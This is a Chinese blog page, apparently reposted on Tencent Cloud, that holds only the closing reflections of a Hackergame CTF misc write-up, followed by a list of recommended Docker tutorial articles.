今年 Hackergame 的时候看着桌面的文件突然想起来了还有这样一篇未完待续的 wp,而且我觉得这几个 misc 的题目质量还很高,涉及到的知识点都很实用,尤其是 docker 那个题,对我们理解 docker 的文件结构和原理有很大的帮助,所以我就想把它再完善一下,作为可能近期最后一篇 misc wp 发在博客上了,也算是对大学这段 misc 生涯做个小小的收尾吧,后面可能就要去弄毕设,多学一学内网渗透相关的东西,以后可能也把内网作为一个研究生方向吧,那就是后话了……

这两个月也是取证比赛的高发期,后续可能还会更几篇有关取证比赛的复现和分析,也许也会把一些内网的笔记发上来,师傅们敬请期待吧!

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-10-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Hackergame 2020 Writeup
最近一周咱参加了USTC的Hackergame 2020。由于正好之前的Deadline清完了,而且听说这个比赛新人友好+时间长,于是咱就来了。整体比赛感觉题目出的难度梯度确实很合理,从简单到难都有,而且很多难题也是偏脑洞的,可以通过一段时间的学习解出。最终排名虽然一度进入前10,但是最后一小时还是掉出了前10(屯Flag的dalao们太强了,垂直上分老拜登了),终榜Rank11,算是一点遗憾吧哈哈。
KAAAsS
2022/01/14
8350
Hackergame 2020 Writeup
docker 数据管理
docker镜像被存储在一系列的只读层,当我们开启一个容器,docker读取只读镜像并添加一个读写层在顶部,如果正在运行的容器修改了现有的文件,该文件将被拷贝出底层的只读层到最顶层的读写层,在读写层中的旧版本文件隐藏于该文件之下,但并没有被破坏,它仍然存在于镜像一下,当docker的容器被删除时,然后重新启动镜像时,将开启一个没有任何更改的新的容器,这些更改会丢失,为了能够保存数据以及共享容器间的数据,docker提出了volumes的概念,volumes可以是目录或者文件,它们是外部默认的联合文件系统或者是存在与宿主文件系统正常的目录和文件。
dogfei
2020/07/31
9190
快速入门Docker(2)——常用命令
前言 Hai 我们又见面了,上篇文章给大家讲了是什么Docker,以及Docker的安装部署,本篇文章之主要是给大家下常用的命令(重点建议收藏)。看完本文章可以掌握以下内容:
大数据老哥
2021/02/04
4850
快速入门Docker(2)——常用命令
Docker Notes-storage
摘要: Docker Notes系列为学习Docker笔记,本文是Docker存储介绍
itliusir
2018/08/03
3770
Docker Notes-storage
5分钟带你掌握Docker全部命令
用户1107783
2023/07/31
3260
5分钟带你掌握Docker全部命令
Docker中搭建CI环境
在之前的文章中介绍了Gitlab环境的搭建和CI与Gitlab的整合,那么今天主要介绍Docker中搭建CI的环境,Docker诞生于云计算的时代,它主要是基于Go语言实现的开源容器项目,目前关于Docker容器的生态系统已经很完善,而且各大主流的操作系统公司都支持Docker。今天主要介绍在Docker中搭建Jenkins的环境,关于Docker环境的搭建在后期的文章中逐步的介绍。CI就不需要多余的介绍了, 它是自动化测试中必须要掌握的一个技能之一,同时也是实现CICD整合的核心工具之一。
无涯WuYa
2019/10/24
4500
Docker中搭建CI环境
Docker | 常用命令——排错很有帮助
众所周知,docker 排查问题相较而言是困难的。因此,熟知一些常用命令对我们快速的排查定位问题是非常有帮助的。下面让我们一起来学习一下吧👇 1、显示docker的系统信息 docker info [root@xiao docker]# docker info Client: Context: default Debug Mode: false Plugins: app: Docker App (Docker Inc., v0.9.1-beta3) buildx: Build wi
甜点cc
2022/11/16
4480
Docker | 常用命令——排错很有帮助
【快学Docker】Docker镜像相关操作
Docker运行容器前需要本地存在镜像,如果本地不存在镜像,Docker则会尝试从远端仓库拉去镜像。镜像是Docker一大核心,我们今天就来了解下Docker镜像的相关操作。
Happyjava
2019/07/16
6110
【快学Docker】Docker镜像相关操作
Docker挂了,数据如何找回
很多人在初用docker的时候,很多时候都忘记或不知道docker中需要保留的数据需要挂载到宿主机文件夹到容器内部对应目录(当然除了挂载宿主机目录,还有其他解决方案,我们后面会有文章介绍)
李俊鹏
2020/06/15
3.6K0
Docker挂了,数据如何找回
Dockerfile 的最佳实践 | Dockerfile 你写的都对么?
随着应用的容器化、上云后,将伴随着 Docker 镜像的构建,构建 Docker 镜像成为了最基本的一步,其中 Dockerfile 便是用来构建镜像的一种文本文件,镜像的优劣全靠 Dockerfile 编写的是否合理、合规。本文将讲述编写 Dockerfile 的一些最佳实践和技巧,让我们的镜像更小、更优。
xcbeyond
2022/05/19
7850
Dockerfile 的最佳实践 | Dockerfile 你写的都对么?
Docker容器镜像仓库存储原理(前世今身)与搬运技巧
在深入学习镜像之前我们需要知道镜像是如何(炼制/搓)成的(等同于构建镜像),当然是通过我们DockerFile一条条指令为镜像生成每一层,按照执行顺序镜像文件系统复写封装从下到上;
全栈工程师修炼指南
2022/09/29
3.6K0
Docker容器镜像仓库存储原理(前世今身)与搬运技巧
【快学Docker】Docker镜像相关操作
Docker运行容器前需要本地存在镜像,如果本地不存在镜像,Docker则会尝试从远端仓库拉去镜像。镜像是Docker一大核心,我们今天就来了解下Docker镜像的相关操作。
Happyjava
2024/02/01
1730
【快学Docker】Docker镜像相关操作
Docker引擎分层解析
当我们拉取Docker Image时,如果仔细观察的话,你就会发现:它被拉成不同的层。另外,当然,我们创建自己的Docker Image时,也会创建多个层。在本文中,我们将尝试更好地去探究Docker层次的秘密。
Luga Lee
2021/12/09
4880
04 - 镜像存储机制
OverlayFS 结构分为三个层: LowerDir、Upperdir、MergedDir
张哥编程
2024/12/07
1240
docker(容器常用命令)
容器命令 镜像下载 #docker中下载centos docker pull centos docker run 镜像id #新建容器并启动 docker ps 列出所有运行的容器 docker container list docker rm 容器id #删除指定容器 docker start 容器id #启动容器 docker restart 容器id #重启容器 docker stop 容器id #停止当前正在运行的容器 docker kill 容器id #强制停止当前容器 [root@iz2z
崔笑颜
2020/10/27
5370
docker(容器常用命令)
【docker-compose】一键部署WordPress博客
至此,wordpress通过docker-compose一键安装部署完成。
宝耶需努力
2022/12/13
2.8K0
【docker-compose】一键部署WordPress博客
【Docker】Docker常见命令汇总
命令帮助文档:Reference documentation | Docker Documentation
宝耶需努力
2022/12/13
1.1K0
猜猜用什么来存储Docker的镜像?这还真是个“非常手段”
反复思考这句话的时候,突然意识到不是 docker 选择用文件来存储镜像,而是除了文件以外,docker 别无其他选择。
Java程序猿阿谷
2021/03/02
4520
猜猜用什么来存储Docker的镜像?这还真是个“非常手段”
Docker镜像原理 aufs overlay overlay2
OverlayFS是一种和AUFS很类似的文件系统,与AUFS相比,OverlayFS有以下特性:    1) 更简单地设计;    2) 从3.18开始,就进入了Linux内核主线;    3) 可能更快一些。   因此,OverlayFS在Docker社区关注度提高很快,被很多人认为是AUFS的继承者。就像宣称的一样,OverlayFS还很年轻。所以,在生成环境使用它时,还是需要更加当心。   Docker的overlay存储驱动利用了很多OverlayFS特性来构建和管理镜像与容器的磁盘结构。   自从Docker1.12起,Docker也支持overlay2存储驱动,相比于overlay来说,overlay2在inode优化上更加高效。但overlay2驱动只兼容Linux kernel4.0以上的版本。 注意:自从OverlayFS加入kernel主线后,它在kernel模块中的名称就被从overlayfs改为overlay了。但是为了在本文中区别,我们使用OverlayFS代表整个文件系统,而overlay/overlay2表示Docker的存储驱动。
AlbertZhang
2020/08/18
7.6K1
谈谈 Docker 镜像构建
容器化部署越来越多的用于企业的生产环境中,如何构建可靠、安全、最小化的 Docker 镜像也就越来越重要。本文将针对该问题,通过原理加实践的方式,从头到脚帮你撸一遍。
iMike
2019/07/24
1.4K0
谈谈 Docker 镜像构建
相关推荐
Hackergame 2020 Writeup
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验